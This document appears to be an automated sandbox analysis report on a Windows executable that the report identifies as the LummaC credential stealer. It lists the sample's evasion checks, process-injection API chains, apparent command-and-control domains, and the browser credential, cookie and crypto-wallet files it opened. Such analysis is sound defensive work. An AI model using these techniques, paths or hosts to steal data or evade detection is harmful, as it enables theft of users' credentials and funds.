Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: Launcher_x64.exe

Static PE information: Section: .bss ZLIB complexity 1.0003343485169491

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/1@11/3

Source: C:\Users\user\Desktop\Launcher_x64.exe

Code function: 3_2_00437A30 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

3_2_00437A30

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5244:120:WilError_03

Source: Launcher_x64.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Launcher_x64.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Launcher_x64.exe, 00000003.00000003.2457904734.0000000003627000.00000004.00000800.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2458531560.00000000035F5000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Launcher_x64.exe

ReversingLabs: Detection: 28%

Source: C:\Users\user\Desktop\Launcher_x64.exe

File read: C:\Users\user\Desktop\Launcher_x64.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Launcher_x64.exe "C:\Users\user\Desktop\Launcher_x64.exe"
Source: C:\Users\user\Desktop\Launcher_x64.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Launcher_x64.exe	Process created: C:\Users\user\Desktop\Launcher_x64.exe "C:\Users\user\Desktop\Launcher_x64.exe"
Source: C:\Users\user\Desktop\Launcher_x64.exe	Process created: C:\Users\user\Desktop\Launcher_x64.exe "C:\Users\user\Desktop\Launcher_x64.exe"
Source: C:\Users\user\Desktop\Launcher_x64.exe	Process created: C:\Users\user\Desktop\Launcher_x64.exe "C:\Users\user\Desktop\Launcher_x64.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Process created: C:\Users\user\Desktop\Launcher_x64.exe "C:\Users\user\Desktop\Launcher_x64.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: Launcher_x64.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, TERMINAL_SERVER_AWARE

Source: Launcher_x64.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Launcher_x64.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Launcher_x64.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Launcher_x64.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Launcher_x64.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 0_2_00D167C3 push ecx; ret	0_2_00D167D6
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 2_2_00D167C3 push ecx; ret	2_2_00D167D6
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0043D990 push eax; mov dword ptr [esp], E9E8E7B6h	3_2_0043D995
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_00443B71 pushfd ; iretd	3_2_00443B9E
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 3_2_0043AD00 push eax; mov dword ptr [esp], 898A8B8Ch	3_2_0043AD0F

Source: C:\Users\user\Desktop\Launcher_x64.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\Launcher_x64.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\Launcher_x64.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-21816

Source: C:\Users\user\Desktop\Launcher_x64.exe TID: 5928	Thread sleep time: -240000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe TID: 5928	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\Launcher_x64.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 0_2_00D29126 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00D29126
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 2_2_00D29075 FindFirstFileExW,	2_2_00D29075
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 2_2_00D29126 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	2_2_00D29126

Source: Launcher_x64.exe, 00000003.00000003.2456444244.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2603116855.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433702875.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000002.2610718575.000000000100E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWW
Source: Launcher_x64.exe, 00000003.00000003.2456444244.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2603116855.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433702875.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000002.2610718575.000000000100E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Launcher_x64.exe	Binary or memory string: VMCIH
Source: Launcher_x64.exe, 00000003.00000002.2610718575.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWPx

Source: C:\Users\user\Desktop\Launcher_x64.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Launcher_x64.exe

Code function: 3_2_0043C390 LdrInitializeThunk,

3_2_0043C390

Source: C:\Users\user\Desktop\Launcher_x64.exe

Code function: 0_2_00D1F2B0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00D1F2B0

Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 0_2_00D3F19E mov edi, dword ptr fs:[00000030h]	0_2_00D3F19E
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 0_2_00D016C0 mov edi, dword ptr fs:[00000030h]	0_2_00D016C0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 2_2_00D016C0 mov edi, dword ptr fs:[00000030h]	2_2_00D016C0

Source: C:\Users\user\Desktop\Launcher_x64.exe

Code function: 0_2_00D24ABC GetProcessHeap,

0_2_00D24ABC

Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 0_2_00D1616C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00D1616C
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 0_2_00D1F2B0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00D1F2B0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 0_2_00D1651C SetUnhandledExceptionFilter,	0_2_00D1651C
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 0_2_00D16528 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00D16528
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 2_2_00D1616C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00D1616C
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 2_2_00D1F2B0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00D1F2B0
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 2_2_00D1651C SetUnhandledExceptionFilter,	2_2_00D1651C
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: 2_2_00D16528 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00D16528

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\Launcher_x64.exe

Code function: 0_2_00D3F19E GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,TerminateProcess,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_00D3F19E

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Launcher_x64.exe

Memory written: C:\Users\user\Desktop\Launcher_x64.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: Launcher_x64.exe, 00000000.00000002.1731377519.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: steppriflej.xyz
Source: Launcher_x64.exe, 00000000.00000002.1731377519.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: sendypaster.xyz
Source: Launcher_x64.exe, 00000000.00000002.1731377519.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: bellflamre.click

Source: C:\Users\user\Desktop\Launcher_x64.exe	Process created: C:\Users\user\Desktop\Launcher_x64.exe "C:\Users\user\Desktop\Launcher_x64.exe"			Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	Process created: C:\Users\user\Desktop\Launcher_x64.exe "C:\Users\user\Desktop\Launcher_x64.exe"			Jump to behavior

Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00D283DF
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: EnumSystemLocalesW,	0_2_00D243A7
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00D286CB
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: EnumSystemLocalesW,	0_2_00D28630
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: GetLocaleInfoW,	0_2_00D2897D
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: EnumSystemLocalesW,	0_2_00D2891E
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: GetLocaleInfoW,	0_2_00D28A9D
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: EnumSystemLocalesW,	0_2_00D28A52
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00D28B44
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: GetLocaleInfoW,	0_2_00D28C4A
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: GetLocaleInfoW,	0_2_00D23EAC
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	2_2_00D283DF
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: EnumSystemLocalesW,	2_2_00D243A7
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	2_2_00D286CB
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: EnumSystemLocalesW,	2_2_00D28630
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: GetLocaleInfoW,	2_2_00D2897D
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: EnumSystemLocalesW,	2_2_00D2891E
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: GetLocaleInfoW,	2_2_00D28A9D
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: EnumSystemLocalesW,	2_2_00D28A52
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	2_2_00D28B44
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: GetLocaleInfoW,	2_2_00D28C4A
Source: C:\Users\user\Desktop\Launcher_x64.exe	Code function: GetLocaleInfoW,	2_2_00D23EAC

Source: C:\Users\user\Desktop\Launcher_x64.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Launcher_x64.exe

Code function: 0_2_00D17110 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00D17110

Source: C:\Users\user\Desktop\Launcher_x64.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Launcher_x64.exe, 00000003.00000002.2610718575.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\Launcher_x64.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: 00000003.00000003.2556263712.0000000001093000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2602917926.0000000001093000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2611002767.0000000001073000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2555293768.0000000001093000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Launcher_x64.exe PID: 3336, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Launcher_x64.exe, 00000003.00000002.2611002767.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum-LTC
Source: Launcher_x64.exe, 00000003.00000002.2611002767.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: Launcher_x64.exe, 00000003.00000003.2530449435.000000000102B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: Launcher_x64.exe, 00000003.00000002.2611002767.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: Launcher_x64.exe, 00000003.00000003.2530628830.000000000103B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: Launcher_x64.exe, 00000003.00000003.2530449435.000000000102B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: Launcher_x64.exe, 00000003.00000002.2611002767.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: Launcher_x64.exe, 00000003.00000003.2530449435.000000000102B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: Launcher_x64.exe, 00000003.00000003.2530449435.000000000102B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x64.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
